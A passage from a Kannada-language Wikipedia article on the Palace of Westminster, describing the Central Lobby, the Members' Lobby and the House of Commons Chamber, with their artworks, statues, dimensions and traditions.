ಚಿತ್ರಿಸಲಾಗಿದೆ'.<ref name="Central Lobby tour"/> ಉದಾಹರಣೆಗಳೆಂದರೆ ''ಐದು ಸದಸ್ಯರನ್ನು ಸುಪರ್ದಿಗೆ ತೆಗೆದುಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸಿದಾಗ ಚಾರ್ಲ್ಸ್ I ಇವರ ವಿರುದ್ಧ ಸ್ಪೀಕರ್ ಲೆಂತಾಲ್ ಕಾಮನ್ಸ್‌ನ ಹಕ್ಕುಗಳನ್ನು ಒತ್ತಿಹೇಳುತ್ತಿರುವ ಚಿತ್ರ'' . ಇದು ನಿರಂಕುಶ ಪ್ರಭುತ್ವದ ವಿರುದ್ಧ ಪ್ರತಿರೋಧವನ್ನು ಸೂಚಿಸುತ್ತದೆ; ಮತ್ತು ನ್ಯೂ ಇಂಗ್ಲೆಂಡ್‌ಗೆ ಯಾತ್ರಿಕಪಿತೃಗಳ ನೌಕಾರೋಹಣ ಚಿತ್ರ, ಇದು ಧಾರ್ಮಿಕ ಸ್ವಾತಂತ್ರವನ್ನು ಸ್ಪಷ್ಟಪಡಿಸುತ್ತದೆ. === ಕೇಂದ್ರ ಲಾಬಿ === [[ಚಿತ್ರ:Central Lobby, Palace of Westminster.jpg|thumb|alt=The Central Lobby|ರಾಬರ್ಟ್ ಅನ್ನಿಂಗ್ ಬೆಲ್ ರವರಿಂದ ಐರ್ಲೆಂಡ್ ಗೆ ಸೆಂಟ್ ಪ್ಯಾಟ್ರಿಕ್ (1924) ಹಾಗು ಎಡ್ವರ್ಡ್ ಪಾಯ್ಟನ್ ರವರಿಂದ ವೇಲ್ಸ್ ಗೆ ಸೆಂಟ್ ಡೇವಿಡ್(1898) ಗಳು ಸೆಂಟ್ರಲ್ ಲಾಬಿಯಲ್ಲಿ ಅಲಂಕರಿಸಲಾದ ನಾಲ್ಕು ಬೆರಕೆಗಲ್ಲಿನ ಚಿತ್ತಾರಗಳಲ್ಲಿ ಎರಡಾಗಿವೆ.]] ಮೂಲತಃ ಆಕಾರದಿಂದಾಗಿ 'ಅಷ್ಟಭುಜಾಕೃತಿಯ ಸಭಾಂಗಣ'ವೆಂದು ಕರೆಯಲ್ಪಡುತ್ತಿದ್ದ ಕೇಂದ್ರ ಲಾಬಿಯು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಕೇಂದ್ರ-ಬಿಂದುವಾಗಿದೆ. ಇದು ಕೇಂದ್ರ ಗೋಪುರಕ್ಕೆ ನೇರವಾಗಿ ಕೆಳ ಭಾಗದಲ್ಲಿದೆ, ಹಾಗೂ ದಕ್ಷಿಣದಲ್ಲಿ ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್, ಉತ್ತರದಲ್ಲಿ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್, ಪಶ್ಚಿಮದಲ್ಲಿ ಸೇಂಟ್ ಸ್ಟೀಫನ್ಸ್ ಸಭಾಂಗಣ ಮತ್ತು ಸಾರ್ವಜನಿಕ ಪ್ರವೇಶ ಮತ್ತು ಪೂರ್ವದಲ್ಲಿ ಕೆಳಗಿನ ನಿರೀಕ್ಷಣಾ ಸಭಾಂಗಣ ಹಾಗು ಗ್ರಂಥಾಲಯಗಳ ಮಧ್ಯೆ ಒಂದು ಜನನಿಬಿಡ ಅಡ್ಡ-ಹಾದಿಯಾಗಿ ರೂಪುಗೊಂಡಿದೆ. ಎರಡು ಚರ್ಚಾ ಕೋಣೆಗಳ ನಡುವಿನ ಇದರ ಸ್ಥಾನವು ಸಂವಿಧಾನಾತ್ಮಕ ತಾತ್ತ್ವಿಕ ಸಿದ್ಧಾಂತವಾದಿ ಎರ್ಸ್ಕಿನ್ ಮೇ ಈ ಲಾಬಿಯನ್ನು 'ಬ್ರಿಟಿಷ್ ಸಾಮ್ರಾಜ್ಯದ ರಾಜಕೀಯ ಕೇಂದ್ರ'ವೆಂದು ವಿವರಿಸಲು ಅನುವು ಮಾಡಿದೆ;<ref>ಕ್ವೀನ್ ಅಲ್ಟ್(೧೯೯೨), p. ೯೩.</ref> ಮತ್ತು ನಡುವೆ ಬರುವ ಎಲ್ಲಾ ಬಾಗಿಲುಗಳನ್ನು ತೆರೆದಿಟ್ಟರೆ ಭವ್ಯವಾದ ತೂಗುವ ಗೊಂಚಲುದೀಪದ ಕೆಳಗಡೆ ನಿಂತ ವ್ಯಕ್ತಿಯು ರಾಜವಂಶದ ಸಿಂಹಾಸನ ಮತ್ತು ಸ್ಪೀಕರ್‌ನ ಅಧಿಕಾರ ಸ್ಥಾನ ಎರಡನ್ನೂ ನೋಡಲು ಅವಕಾಶ ಮಾಡಿಕೊಡುತ್ತದೆ. ಇಲ್ಲಿ ಪೂರ್ವ ಭೇಟಿಯನ್ನು ನಿಗದಿಪಡಿಸದೆಯೇ ಆಯಾ ಕ್ಷೇತ್ರದ ಮತದಾರ ಸದಸ್ಯರು ತಮ್ಮ ಸಂಸತ್ ಸದಸ್ಯರನ್ನು ಭೇಟಿ ಮಾಡಬಹುದು<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palace-s-interiors/central-lobby/ |title=Architecture of the Palace: Central Lobby |publisher=UK Parliament |accessdate=5 August 2010}}</ref>; ಮತ್ತು ಈ ರೂಢಿಯು ''ಲಾಬಿಂಗ್(ಪ್ರಭಾವ ಬೀರುವಿಕೆ)'' ಎಂಬ ಪದದ ಉಗಮದ ಸಂಭಾವ್ಯ ಕಾರಣಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.<ref>{{Cite web |url=http://news.bbc.co.uk/2/hi/uk_news/politics/82529.stm |title=Lobbying |date=1 October 2008 |publisher=BBC News |accessdate=21 January 2010}}</ref> ಆ ಸಭಾಂಗಣವು ಪ್ರತಿ ಅಧಿವೇಶನಕ್ಕಿಂತ ಮೊದಲು ಇಲ್ಲಿಂದ ಕಾಮನ್ಸ್ ಕೊಠಡಿಗೆ ಸಾಗುವ ಸ್ಪೀಕರ್‌ನ ಮೆರವಣಿಗೆಯ ಸ್ಥಾನವೂ ಆಗಿದೆ. ಕೇಂದ್ರ ಲಾಬಿಯು ಸಂಪೂರ್ಣವಾಗಿ {{Convert|18.3|m|ft}}ನಷ್ಟು ಮತ್ತು ನೆಲದಿಂದ ಕಮಾನು ಚಾವಣಿಯ ಕೇಂದ್ರದವರೆಗೆ {{Convert|22.9|m|ft}}ನಷ್ಟು ಅಳತೆ ಹೊಂದಿದೆ.<ref name="Factsheet G11"/> ಕಮಾನು ಚಾವಣಿಗೆ ಆಧಾರವಾದ ಕಮಾನುಗಳ ನಡುವಿನ ಫಲಕಗಳನ್ನು ಪುಷ್ಪಾಲಂಕೃತ ಲಾಂಛನಗಳು ಮತ್ತು ವಂಶಲಾಂಛನಗಳ ವಿಶಿಷ್ಟ ಚಿಹ್ನೆಗಳನ್ನು ಪ್ರದರ್ಶಿಸುವ ವೆನೀಷನ್ ಗಾಜಿನ ಮೊಸೇಯಿಕ್ ಚಿತ್ರಕಲೆಗಳಿಂದ ಸಿಂಗರಿಸಲಾಗಿದೆ; ಹಾಗೂ ಈ ಕಮಾನುಗಳ ಛೇದಕಗಳಲ್ಲಿನ ಉಬ್ಬುಕೆತ್ತನೆಗಳಲ್ಲೂ ಸಹ ಪಾರಂಪರಿಕ ಲಾಂಛನಗಳನ್ನು ಕೊರೆಯಲಾಗಿದೆ.<ref>''ಗೈಡ್ ಟು ದಿ ಪ್ಯಾಲೆಸ್ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ '' , pp. ೫೩–೫೪.</ref> ಲಾಬಿಯ ಪ್ರತಿಯೊಂದು ಗೋಡೆಯು ಇಂಗ್ಲಿಷ್ ಮತ್ತು ಸ್ಕಾಟಿಶ್ ರಾಜರ ಪ್ರತಿಮೆಗಳಿಂದ ಅಲಂಕರಿಸಲಾದ ಒಂದು ಕಮಾನನ್ನು ಹೊಂದಿದೆ; ನಾಲ್ಕೂ ಬದಿಗಳಲ್ಲಿ ಬಾಗಿಲು-ದಾರಿಗಳಿವೆ, ಮತ್ತು ಅವುಗಳ ಮೇಲಿನ ಚೌಕಟ್ಟಿನ ಫಲಕದ ಪುಟೀಪನ್ನು ಯುನೈಟೆಡ್ ಕಿಂಗ್ಡಮ್‌ನ ಸಂವಿಧಾನರಚಕ ರಾಷ್ಟ್ರಗಳ ಆಶ್ರಯದಾತ ಸಂತ(ಸೇಂಟ್)ರನ್ನು ಸೂಚಿಸುವ ಮೊಸೇಯಿಕ್ ಚಿತ್ರಕಲೆಗಳಿಂದ ಅಂದಗೊಳಿಸಲಾಗಿದೆ: ಇಂಗ್ಲೆಂಡ್‌ನ ಸೇಂಟ್ ಜಾರ್ಜ್, ಸ್ಕಾಟ್‌ಲ್ಯಾಂಡ್‌ನ ಸೇಂಟ್ ಆಂಡ್ರಿವ್, ವೇಲ್ಸ್‌ನ ಸೇಂಟ್ ಡೇವಿಡ್ ಮತ್ತು ಐರ್ಲೆಂಡ್‌ನ ಸೇಂಟ್ ಪ್ಯಾಟ್ರಿಕ್.{{#tag:ref|Ireland was part of the [[United Kingdom of Great Britain and Ireland|United Kingdom]] in its entirety from 1801 until the secession of the [[Irish Free State]] in 1922. Decorative references to Ireland exist throughout the Palace of Westminster and include symbols like the harp and the [[shamrock]].|group=note}} ಇತರ ನಾಲ್ಕು ಕಮಾನು ಚಾವಣಿಗಳಲ್ಲಿ ಎತ್ತರದಲ್ಲಿ ಕಿಟಕಿಗಳಿವೆ. ಅವುಗಳ ಕೆಳಗೆ ಶಿಲಾ ಪರದೆಗಳಿವೆ. ಅರಮನೆಯಲ್ಲಿರುವ ಎರಡಲ್ಲಿ ಒಂದು ಸಭಾಂಗಣದ ಅಂಚೆ-ಕಛೇರಿಯು ಈ ಪರದೆಗಳ ಹಿಂದೆ ಇದೆ. ಅವುಗಳ ಮುಂದೆ ೧೯ನೇ ಶತಮಾನದ ರಾಜ್ಯನೀತಿಜ್ಞರ ಸಹಜಗಾತ್ರಕ್ಕಿಂತಲೂ ದೊಡ್ಡ ನಾಲ್ಕು ಪ್ರತಿಮೆಗಳಿವೆ; ಅವುಗಳಲ್ಲಿ ಒಂದು ನಾಲ್ಕು-ಬಾರಿ ಪ್ರಧಾನ-ಮಂತ್ರಿಯಾದ ವಿಲಿಯಂ ಎವರ್ಟ್ ಗ್ಲ್ಯಾಡ್‌ಸ್ಟೋನ್.<ref name="Central Lobby tour"/> ಈ ಪ್ರತಿಮೆಗಳನ್ನು ನಿಲ್ಲಿಸಿದ ನೆಲವನ್ನು ಮಿಂಟನ್ ಬಣ್ಣದ-ಹೆಂಚುಗಳಿಂದ ಸಿಕ್ಕುಸಿಕ್ಕಾಗಿ ಮುಚ್ಚಲಾಗಿದೆ, ಮತ್ತು ಇದು ಲ್ಯಾಟಿನ್‌ನಲ್ಲಿ ಬರೆದ [[wikisource:Bible, King James, Psalms#Psalm 127|ಪವಿತ್ರಗೀತೆ 127]]ರ ಒಂದು ನಿರ್ದಿಷ್ಟಭಾಗವನ್ನು ಒಳಗೊಂಡಿದೆ. ಆ ಭಾಗವು ಈ ಕೆಳಗಿನಂತೆ ಅರ್ಥ ವಿವರಣೆ ನೀಡುತ್ತದೆ: "ಲಾರ್ಡ್‌ನ ಹೊರತು ಅವರ ಕಾರ್ಮಿಕರಿಗೆ ಇದನ್ನು ನಿರ್ಮಿಸಲು ಸಾಧ್ಯವಾಗಿಲ್ಲ".<ref>ವಿಲ್ಸನ್ (೨೦೦೫), p. ೧೯.</ref> ಕೇಂದ್ರ ಲಾಬಿಯಿಂದ ಕೆಳಗಿನ ಕಾಯುವ ಸಭಾಂಗಣಕ್ಕೆ ಪ್ರವೇಶ ಕಲ್ಪಿಸುವ ಪೂರ್ವದ ಕಾರಿಡಾರ್ ಮತ್ತು ಅದರ ಆರು ಪ್ರತ್ಯೇಕ ಅಂಕಣಗಳು ೧೯೧೦ರವರೆಗೆ ಖಾಲಿಯಾಗಿಯೇ ಇದ್ದವು, ಅನಂತರ ಅವನ್ನು ಟ್ಯೂಡರ್ ಸಂತತಿಯ ಇತಿಹಾಸದ ದೃಶ್ಯಗಳಿಂದ ತುಂಬಿಸಲಾಯಿತು.<ref>ವಿಲ್ಸನ್ (೨೦೦೫), p. ೨೦.</ref> ಆ ಎಲ್ಲಾ ಕಾರ್ಯಗಳಿಗೆ ಲಿಬರಲ್ ವರಿಷ್ಠ ವರ್ಗದವರಿಂದ ಕೂಲಿ ಪಾವತಿಸಲಾಯಿತು, ಮತ್ತು ಪ್ರತಿಯೊಂದು ಚಿತ್ರವನ್ನು ವಿವಿಧ ಕಲಾವಿದರ ಬಿಡಿಸಿದ್ದರು. ಆದರೆ ಒಂದೇ ರೀತಿಯ ಕೆಂಪು, ಕಪ್ಪು ಮತ್ತು ಚಿನ್ನದ ಬಣ್ಣದ ವರ್ಣಫಲಕಗಳು ಹಾಗೂ ಒಂದೇ ರೀತಿಯ ಎತ್ತರದ ಪ್ರತಿಮೆಗಳೊಂದಿಗೆ ಎಲ್ಲಾ ಚಿತ್ರಗಳ ನಡುವೆ ಏಕರೂಪತೆಯಿತ್ತು. ಅವುಗಳಲ್ಲಿ ಒಂದು ದೃಶ್ಯವು ಬಹುಶಃ ಚಾರಿತ್ರಿಕವಾಗಿಲ್ಲ: ''ಹಳೆಯ ದೇವಸ್ಥಾನದ ಉದ್ಯಾನಗಳಲ್ಲಿ ಕೆಂಪು ಮತ್ತು ಬಿಳಿ ಗುಲಾಬಿ ಹೂಗಳನ್ನು ಕೀಳುತ್ತಿರುವುದು'' , ಇದು ಈ ಹೂಗಳ ಮೂಲವು ಅನುಕ್ರಮವಾಗಿ ಹೌಸಸ್ ಆಫ್ ಲ್ಯಾಂಕಸ್ಟರ್ ಮತ್ತು ಯೋರ್ಕ್‌ನ ಲಾಂಛನಗಳಾಗಿವೆಯೆಂಬುದನ್ನು ಸೂಚಿಸುತ್ತದೆ, ಇದನ್ನು ಶೇಕ್ಸ್‌ಪಿಯರ್‌ನ ''ಹೆನ್ರಿ VI, ಭಾಗ ೧'' ರಿಂದ ತೆಗೆದುಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{Cite web |url=http://www.parliament.uk/worksofart/artwork/henry-arthur-payne/plucking-the-red-and-white-roses-in-the-old-temple-gardens/2593 |title=Plucking the Red and White Roses in the Old Temple Gardens |publisher=UK Parliament |accessdate=5 August 2010}}</ref> === ಸದಸ್ಯರ ಲಾಬಿ === {{Main|Members' Lobby}} ಕೇಂದ್ರ ಲಾಬಿಯಿಂದ ಉತ್ತರ ದಿಕ್ಕಿಗೆ ಮುಂದುವರಿದಾಗ ಕಾಮನ್ಸ್ ಕಾರಿಡಾರ್ ಸಿಗುತ್ತದೆ. ಇದು ಹೆಚ್ಚುಕಡಿಮೆ ದಕ್ಷಿಣದಲ್ಲಿರುವ ಅದರ ಪ್ರತಿರೂಪ ಕಾರಿಡಾರ್‌ನಂತಹುದೇ ವಿನ್ಯಾಸ ಹೊಂದಿದೆ. ಅಂತಃಕಲಹ ಮತ್ತು ಸುಪ್ರಸಿದ್ಧ ಕ್ರಾಂತಿಯ ನಡುವಿನ ೧೭ನೇ ಶತಮಾನದ ರಾಜಕೀಯ ಇತಿಹಾಸದ ದೃಶ್ಯಗಳಿಂದ ಅಲಂಕರಿಸಲ್ಪಟ್ಟಿದೆ. ಆ ದೃಶ್ಯಗಳಿಗೆ ಎಡ್ವರ್ಡ್ ಮ್ಯಾಥಿವ್ ವಾರ್ಡ್ ಬಣ್ಣ ಬಳಿದಿದ್ದಾರೆ. ಅವು ಸಂನ್ಯಾಸಿಯು ''ಸ್ವತಂತ್ರ ಸಂಸತ್ತಿಗಾಗಿ ಘೋಷಿಸುವುದು'' ಹಾಗೂ ''ಔತಣ-ಕೂಟದ ಸಭಾಂಗಣದಲ್ಲಿ ವಿಲಿಯಂ ಮತ್ತು ಮೇರಿಗೆ ಲಾರ್ಡ್ಸ್ ಮತ್ತು ಕಾಮನ್ಸ್ ಪಟ್ಟಾಭಿಷೇಕ ಮಾಡುವುದು'' ಮೊದಲಾದ ವಿಷಯಗಳನ್ನು ಒಳಗೊಂಡಿದೆ.<ref name="Central Lobby tour"/> ಅರಮನೆಯ ಲಾರ್ಡ್ಸ್ ವಿಭಾಗದ ವ್ಯವಸ್ಥೆಯನ್ನು ಹೋಲುವ ಮತ್ತೊಂದು ಮುಂಗೋಣೆಯು ಸದಸ್ಯರ ಲಾಬಿಯಾಗಿದೆ. ಈ ಕೊಠಡಿಯಲ್ಲಿ ಸಂಸತ್ತಿನ ಸದಸ್ಯರು ಚರ್ಚೆಗಳನ್ನು ಅಥವಾ ಮಾತುಕತೆಗಳನ್ನು ನಡೆಸುತ್ತಾರೆ, ಮತ್ತು ಒಟ್ಟಾಗಿ "ದಿ ಲಾಬಿ" ಎಂದು ಕರೆಯುವ ಮಾನ್ಯತೆ ಪಡೆದ ಪತ್ರಿಕೋದ್ಯಮಿಗಳು ಹೆಚ್ಚಾಗಿ ಸಂದರ್ಶನಗಳನ್ನು ಮಾಡುತ್ತಾರೆ.<ref>{{Cite web |url=http://www.parliament.uk/about/living-heritage/building/palace/architecture/palace-s-interiors/members-lobby-churchill-arch/ |title=Architecture of the Palace: The Members' Lobby and the Churchill Arch |publisher=UK Parliament |accessdate=5 August 2010}}</ref> ಈ ಕೊಠಡಿಯು ವರಿಷ್ಠ ವರ್ಗದ ಲಾಬಿಯಂತೆಯೇ ಇದೆ, ಆದರೆ ವಿನ್ಯಾಸದಲ್ಲಿ ಸರಳವಾಗಿದೆ, ಮತ್ತು ಸ್ವಲ್ಪ ಮಟ್ಟಿಗೆ ದೊಡ್ಡದಾಗಿದ್ದು ಎಲ್ಲಾ ಬದಿಗಳಲ್ಲೂ {{Convert|13.7|m|ft}}ನಷ್ಟು ಅಳತೆಯ ಘನಾಕೃತಿಯನ್ನು ಉಂಟುಮಾಡುತ್ತದೆ.<ref name="Factsheet G11"/> ಆಗ ೧೯೪೧ರ ಬಾಂಬ್ ದಾಳಿಯಿಂದ ಭಾರಿ ಹಾನಿಗೊಳಗಾದ ನಂತರ ಇದನ್ನು ಸರಳ ಶೈಲಿಯಲ್ಲಿ ಮರುನಿರ್ಮಿಸಲಾಯಿತು. ಕೆಲವು ಕಡೆ ಹೆಚ್ಚುಕಡಿಮೆ ಸಂಪೂರ್ಣವಾಗಿ ಅನಲಂಕೃತವಾಗಿರುವುದು ಸ್ಪಷ್ಟವಾಗಿ ಗೋಚರಿಸುತ್ತದೆ. ಕಾಮನ್ಸ್ ಕೊಠಡಿಗೆ ಪ್ರವೇಶ ಕಲ್ಪಿಸುವ ಬಾಗಿಲಿನ ಕಮಾನು-ಹಾದಿಯನ್ನು ಯುದ್ಧದ ದುಷ್ಕೃತ್ಯಗಳ ಉಳಿಕೆಯಾಗಿ ದುರಸ್ತಿ ಮಾಡದೇ ಹಾಗೆಯೇ ಉಳಿಸಲಾಗಿದೆ; ಮತ್ತು ಇದನ್ನು ಈಗ ರಬಲ್ ಆರ್ಚ್ ಅಥವಾ ಚರ್ಚಿಲ್ ಆರ್ಚ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಇದರ ಪಕ್ಕದಲ್ಲಿ ವಿಂಸ್ಟನ್ ಚರ್ಚಿಲ್ ಮತ್ತು ಡೇವಿಡ್ ಲಾಯ್ಡ್ ಜಾರ್ಜ್‌ರ ಹಿತ್ತಾಳೆ ಪ್ರತಿಮೆಗಳಿವೆ. ಇವರು ಅನುಕ್ರಮವಾಗಿ ಎರಡನೇ ಮತ್ತು ಮೊದಲನೇ ವಿಶ್ವ ಸಮರದ ಸಂದರ್ಭದಲ್ಲಿ ಬ್ರಿಟನ್‌ನ ಮುಖಂಡತ್ವ ವಹಿಸಿದ್ದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳಾಗಿದ್ದಾರೆ; MP ಗಳು ತಮ್ಮ ಮೊದಲನೇ ಭಾಷಣ ಮಾಡುವುದಕ್ಕಿಂತ ಮೊದಲು ಒಳ್ಳೆಯದಾಗಲಿಯೆಂದು ಪ್ರತಿಮೆಯ ಪಾದವನ್ನು ಉಜ್ಜುವ ಸಂಪ್ರದಾಯವು ಬಹುಹಿಂದಿನಿಂದಲೂ ಇರುವುದರಿಂದ ಇವುಗಳ ಪಾದವು ಹೊಳೆಯುತ್ತದೆ. ಲಾಬಿಯು ೨೦ನೇ ಶತಮಾನದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳ ಪ್ರತಿಮೆಗಳು ಮತ್ತು ಎದೆಮಟ್ಟದ-ವಿಗ್ರಹಗಳನ್ನು ಮಾತ್ರವಲ್ಲದೆ ಎರಡು ದೊಡ್ಡ ರಂಗಭೂಮಿಗಳನ್ನು ಹೊಂದಿದೆ. ಇಲ್ಲಿ MP ಗಳು ತಮ್ಮ ಅಂಚೆ ಮತ್ತು ದೂರವಾಣಿ ಸಂದೇಶಗಳನ್ನು ಪಡೆಯುತ್ತಾರೆ. ಹೌಸ್‌ನ ಬಳಕೆಗಾಗಿ ವಿನ್ಯಾಸಗೊಳಿಸಲಾದ ಈ ರಂಗಭೂಮಿಗಳನ್ನು ೧೯೬೦ರ ದಶಕದ ಆರಂಭದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿತ್ತು.<ref>{{Cite web |url=http://www.parliament.uk/visiting/online-tours/virtualtours/commons-tour/ |title=House of Commons Chamber virtual tour |publisher=UK Parliament |accessdate=5 August 2010 |archive-date=16 ಜುಲೈ 2010 |archive-url=https://web.archive.org/web/20100716005311/http://www.parliament.uk/visiting/online-tours/virtualtours/commons-tour/ |url-status=dead }}</ref> === ಕಾಮನ್ಸ್ ಕೊಠಡಿ === ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಕೊಠಡಿಯು ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ಅರಮನೆಯ ಉತ್ತರದ ಕೊನೆಯಲ್ಲಿದೆ; ಇದನ್ನು ೧೯೪೧ರಲ್ಲಿ ವಿಕ್ಟೋರಿಯನ್ ಚೇಂಬರ್ ನಾಶಗೊಂಡ ನಂತರ ೧೯೫೦ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಅಲ್ಲದೇ ವಾಸ್ತುಶಿಲ್ಪಿ ಗೈಲ್ಸ್ ಗಿಲ್ಬರ್ಟ್ ಸ್ಕಾಟ್‌ನ ನಿರ್ದೇಶನದಡಿ ಪುನಃರೂಪಿಸಲಾಯಿತು. ಈ ಕೊಠಡಿಯು {{Convert|14|by|20.7|m|ft}} ನಷ್ಟು ಉದ್ದಳತೆ ಹೊಂದಿದೆ<ref name="Factsheet G11"/>, ಮತ್ತು ಲಾರ್ಡ್ಸ್ ಕೊಠಡಿಗಿಂತ ತುಂಬಾ ಸರಳವಾಗಿದೆ; ಅರಮನೆಯ ಕಾಮನ್ಸ್ ಬದಿಯ ಬೆಂಚುಗಳು ಮತ್ತು ಇತರ ಪೀಠೋಪಕರಣಗಳಿಗೆ ಹಸಿರು ಬಣ್ಣವನ್ನು ನೀಡಲಾಗಿದೆ. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್‌ನ ಸದಸ್ಯರಿಗೆ ಮೀಸಲಾದ ಕೆಂಪು ಬೆಂಚುಗಳಲ್ಲಿ ಸಾರ್ವಜನಿಕ ಸದಸ್ಯರು ಕೂರುವುದನ್ನು ನಿಷೇಧಿಸಲಾಗಿದೆ. ಭಾರತ, ಕೆನಡಾ ಮತ್ತು ಆಸ್ಟ್ರೇಲಿಯಾ ಮೊದಲಾದ ಕಾಮನ್‌ವೆಲ್ತ್ ರಾಷ್ಟ್ರಗಳ ಇತರ ಸಂಸತ್ತುಗಳು ಈ ಬಣ್ಣದ ವ್ಯವಸ್ಥೆಯನ್ನು ನಕಲು ಮಾಡಿವೆ.ಅದರ ಪ್ರಕಾರ ಕೆಳ-ಮನೆಯು ಹಸಿರು ಬಣ್ಣ ಮತ್ತು ಮೇಲ್ಮನೆಯು ಕೆಂಪು ಬಣ್ಣದೊಂದಿಗೆ ಸಮ್ಮಿಳಿತಗೊಂಡಿದೆ. [[ಚಿತ್ರ:Old House of Commons chamber, F. G. O. Stuart.jpg|thumb|left|alt=The Commons Chamber|ಅದರ ಪೂರ್ವವರ್ತಿಗಳಂತೆ ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ನ ಯುದ್ಧ ನಂತರದ ಕೊಠಡಿ ಅದರ ಹಸಿರು ಬೆಂಚುಗಳ ಮೇಲೆ ಕೇವಲ ಮೂರನೆ ಎರಡು ಭಾಗದಷ್ಟು ಸಂಸತ್ತಿನ ಸದಸ್ಯರಿಗೆ ಸ್ಥಳಾವಕಾಶ ನೀಡಬಲ್ಲದು.]] ಈ ಕೊಠಡಿಯ ಉತ್ತರದ ಕೊನೆಯಲ್ಲಿ ಆಸ್ಟ್ರೇಲಿಯಾದ ಕಾಮನ್‌ವೆಲ್ತ್ ಈ ಸಂಸತ್ತಿಗೆ ಕೊಡುಗೆಯಾಗಿ ನೀಡಿದ ಸ್ಪೀಕರ್‌ ಅವರ ಕುರ್ಚಿಯಿದೆ. ಪ್ರಸ್ತುತದ ಬ್ರಿಟಿಷ್ ಸ್ಪೀಕರ್‍ನ ಕುರ್ಚಿಯು ಆಸ್ಟ್ರೇಲಿಯಾದ ಸಂಸತ್ತಿನ ಉದ್ಘಾಟನಾ ಸಮಾರಂಭದಂದು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಆಸ್ಟ್ರೇಲಿಯಾಕ್ಕೆ ನೀಡಿದ ಸ್ಪೀಕರ್ ಕುರ್ಚಿಯ ನಿಷ್ಕೃಷ್ಟವಾದ ನಕಲಾಗಿದೆ. ಸ್ಪೀಕರ್‌ನ ಕುರ್ಚಿಯ ಮುಂದೆ ಹೌಸ್‌ನ ಮೇಜಿದೆ, ಅದರಲ್ಲಿ ಹಿರಿಯ ಅಧಿಕಾರಿಗಳು ಕುಳಿತುಕೊಳ್ಳುತ್ತಾರೆ, ಮತ್ತು ಅದರ ಮೇಲೆ ಕಾಮನ್ಸ್‌ನ ವಿಧ್ಯುಕ್ತವಾದ ಅಧಿಕಾರ ದಂಡವನ್ನು ಇರಿಸಲಾಗಿದೆ. ವಿತರಣಾ ಮೂಲದ ಟಪಾಲು-ಪೆಟ್ಟಿಗೆಗಳು ನ್ಯೂಜಿಲೆಂಡ್‌ನ ಕೊಡುಗೆಯಾಗಿವೆ. ಅವುಗಳ ಮೇಲೆ ಮುಂದಿನ-ಬೆಂಚಿನ ಸಂಸತ್ತಿನ ಸದಸ್ಯರು (MP ಗಳು) ಪ್ರಶ್ನಾವಳಿ ಮತ್ತು ಭಾಷಣಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಇವನ್ನು ಒದಗಿಸುತ್ತಾರೆ ಅಥವಾ ಅಭಿಪ್ರಾಯಗಳ ಪಟ್ಟಿಯನ್ನು ಇರಿಸುತ್ತಾರೆ. ಹೌಸ್‌ನ ಎರಡು ಬದಿಯಲ್ಲೂ ಹಸಿರು ಬೆಂಚುಗಳಿರುತ್ತವೆ; ಆಡಳಿತ ಪಕ್ಷದ ಸದಸ್ಯರು ಸ್ಪೀಕರ್‌ನ ಬಲಭಾಗದ ಬೆಂಚುಗಳಲ್ಲಿ ಕೂರುತ್ತಾರೆ.ಅದೇ ವಿರೋಧ ಪಕ್ಷದ ಸದಸ್ಯರು ಸ್ಪೀಕರ್‌ನ ಎಡಭಾಗದ ಬೆಂಚುಗಳಲ್ಲಿ ಆಸೀನರಾಗುತ್ತಾರೆ. ಹೌಸ್ ಆಫ್ ಲಾರ್ಡ್ಸ್‌ನಲ್ಲಿರುವಂತೆ ಇಲ್ಲಿ ಯಾವುದೇ ಪ್ರತಿಯಾಗಿ ಎದುರು-ಬೆಂಚುಗಳಿಲ್ಲ. ಈ ಕೊಠಡಿಯು ಸಣ್ಣದಾಗಿದೆ ಮತ್ತು ಸಂಸತ್ತಿನ ೬೫೦ ಸದಸ್ಯರಲ್ಲಿ ಕೇವಲ ೪೨೭ ಮಂದಿಗೆ ಮಾತ್ರ ಸರಿಹೊಂದುತ್ತದೆ<ref name="Churchill and the Commons Chamber"/>, ಪ್ರಧಾನ ಮಂತ್ರಿಯ ಪ್ರಶ್ನಾವಳಿಗಳು ಮತ್ತು ಪ್ರಮುಖ ವಾಗ್ವಾದದ ಸಂದರ್ಭಗಳಲ್ಲಿ MPಗಳು ಹೌಸ್‌ನ ಎರಡೂ ಕೊನೆಯಲ್ಲಿ ನಿಂತುಕೊಳ್ಳುತ್ತಾರೆ. ಸಂಪ್ರದಾಯದಂತೆ ಬ್ರಿಟಿಷ್ ರಾಜನು ಹೌಸ್ ಆಫ್ ಕಾಮನ್ಸ್ ಕೊಠಡಿಯನ್ನು ಪ್ರವೇಶಿಸುವುದಿಲ್ಲ. ಆದರೆ ೧೬೪೨ರಲ್ಲಿ ರಾಜ ಚಾರ್ಲ್ಸ್&nbsp;I ಅದನ್ನು ಕೊನೆಯದಾಗಿ ಪ್ರವೇಶಿಸಿದರು. ರಾಜನು ರಾಜದ್ರೋಹದ ಆಪಾದನೆಯಲ್ಲಿ ಸಂಸತ್ತಿನ ಐದು ಸದಸ್ಯರನ್ನು ಬಂಧಿಸಲು ಪ್ರಯತ್ನಿಸಿದನು. ಆದರೆ ರಾಜ ಸ್ಪೀಕರ್ ವಿಲಿಯಂ ಲೆಂತಾಲ್‌ನಲ್ಲಿ ಇವರಿರುವ ಸ್ಥಳದ 